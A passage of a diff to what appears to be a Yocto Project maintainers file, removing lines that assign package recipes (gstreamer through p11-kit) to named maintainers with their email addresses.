-RECIPE_MAINTAINER_pn-gstreamer1.0-omx = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-meta-base = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-bad = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-base = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-good = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-plugins-ugly = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-python = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-rtsp-server = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gstreamer1.0-vaapi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-gtk+3 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-gtk-doc = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-gzip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-harfbuzz = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-hdparm = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-help2man-native = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-hicolor-icon-theme = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-hwlatdetect = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-i2c-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-icecc-create-env = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-icu = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-igt-gpu-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-inetutils = "Tom Rini <trini@konsulko.com>"
-RECIPE_MAINTAINER_pn-init-ifupdown = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-init-system-helpers = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-boot = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-initramfs-framework = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-initramfs-live-boot = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-boot-tiny = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install-efi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install-efi-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initramfs-live-install-testfs = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-initscripts = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-intltool = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-iproute2 = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-iptables = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-iputils = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-iso-codes = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-itstool = "Andreas Müller <schnitzeltony@gmail.com>"
-RECIPE_MAINTAINER_pn-iw = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-libjpeg-turbo = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-json-c = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-json-glib = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-jquery = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-kbd = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-kern-tools-native = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-kernel-devsrc = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-kexec-tools = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-keymaps = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-kmod = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-kmod-native = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-kmscube = "Carlos Rafael Giani <dv@pseudoterminal.org>"
-RECIPE_MAINTAINER_pn-l3afpad = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-lame = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-ldconfig-native = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-less = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-liba52 = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libacpi = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libaio = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libarchive = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-libassuan = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libatomic-ops = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libbsd = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcap = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcap-ng = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcap-ng-python = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcgroup = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libcheck = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libcomps = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libconvert-asn1-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libcroco = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libdaemon = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libdazzle = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libdmx = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libdnf = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libdrm = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-libedit = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libepoxy = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-liberation-fonts = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-liberror-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libevdev = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libevent = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libexif = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfakekey = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libffi = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfm-extra = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libfontenc = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libgcc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libgcc-initial = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libgcrypt = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libgfortran = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libgloss = "Alejandro Hernandez <aehs29@gmail.com>"
-RECIPE_MAINTAINER_pn-libglu = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libgpg-error = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libgudev = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libhandy = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libical = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libice = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libid3tag = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libidn2 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libinput = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libjitterentropy = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libksba = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libmatchbox = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-libmnl = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libmpc = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libmodule-build-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libmodulemd = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libnewt = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libnl = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libnotify = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libnsl2 = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libnss-mdns = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libnss-nis = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libogg = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libomxil = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpam = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpcap = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpciaccess = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libpcre = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libpcre2 = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libpipeline = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libpng = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libproxy = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libpthread-stubs = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libpsl = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-librepo = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-librsvg = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libsamplerate0 = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libsdl2 = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-libsecret = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libsm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libsndfile1 = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libsolv = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libsoup-2.4 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libssp-nonshared = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libtasn1 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libtest-needs-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libtheora = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libtimedate-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libtirpc = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libtool = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-libtool-cross = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-libtool-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-libucontext = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libunistring = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libunwind = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-liburcu = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-liburi-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libusb1 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libubootenv = "Stefano Babic <sbabic@denx.de>"
-RECIPE_MAINTAINER_pn-libuv = "Armin Kuster <akuster@mvista.com>"
-RECIPE_MAINTAINER_pn-libva = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libva-initial = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libva-utils = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-libvorbis = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-libwebp = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libwpe = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libx11 = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxau = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcb = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcomposite = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcursor = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcrypt = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libxcrypt-compat = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-libxdamage = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxdmcp = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxext = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxfixes = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxfont = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxfont2 = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxft = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxi = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxinerama = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxkbcommon = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxkbfile = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxml-namespacesupport-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-parser-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-sax-base-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-sax-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml-simple-perl = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-libxml2 = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-libxmu = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxpm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxrandr = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxrender = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxres = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxscrnsaver = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxshmfence = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxslt = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-libxt = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxtst = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxv = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxvmc = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libxxf86vm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-libyaml = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-lighttpd = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-dummy = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-firmware = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-linux-libc-headers = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto-dev = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto-rt = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-linux-yocto-tiny = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-llvm = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-logrotate = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-lrzsz = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-lsb-release = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-lsof = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-ltp = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-lttng-modules = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-lttng-tools = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-lttng-ust = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-lz4 = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-lzo = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-lzip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-lzop = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-m4 = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-m4-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-make = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-makedepend = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-makedevs = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-make-mod-scripts = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-man-db = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-man-pages = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-matchbox-config-gtk = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-desktop = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-keyboard = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-panel-2 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-session = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-session-sato = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-terminal = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-theme-sato = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-matchbox-wm = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-mc = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-mdadm = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-menu-cache = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-mesa = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-mesa-demos = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-mesa-gl = "Otavio Salvador <otavio.salvador@ossystems.com.br>"
-RECIPE_MAINTAINER_pn-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-meta-environment-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-environment-extsdk-${MACHINE} = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-extsdk-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-go-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-ide-support = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-toolchain = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-meta-world-pkgdata = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-mingetty = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-mini-x-session = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-minicom = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-mkfontscale = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-mklibs-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-mmc-utils = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-mobile-broadband-provider-info = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-modutils-initscripts = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-mpeg2dec = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-mpfr = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-mpg123 = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-msmtp = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-mtd-utils = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-mtdev = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-mtools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-musl = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-musl-obstack = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-musl-utils = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-mx-1.0 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-nasm = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-buildtools-perl-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-icecc-toolchain = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-nativesdk-libtool = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-nativesdk-packagegroup-sdk-host = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-nativesdk-qemu-helper = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-sdk-provides-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-newlib = "Alejandro Hernandez <aehs29@gmail.com>"
-RECIPE_MAINTAINER_pn-ncurses = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-neard = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-net-tools = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-netbase = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-nettle = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-nfs-export-root = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-nfs-utils = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ninja = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-npth = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-nss-myhostname = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-ofono = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-opensbi = "Alistair Francis <alistair.francis@wdc.com>"
-RECIPE_MAINTAINER_pn-openssh = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-openssl = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-opkg = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-opkg-arch-config = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-opkg-keyrings = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-opkg-utils = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-orc = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-os-release = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-ovmf = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
-RECIPE_MAINTAINER_pn-ovmf-shell-image = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
-RECIPE_MAINTAINER_pn-p11-kit = "Alexander Kanavin <alex.kanavin@gmail.com>"
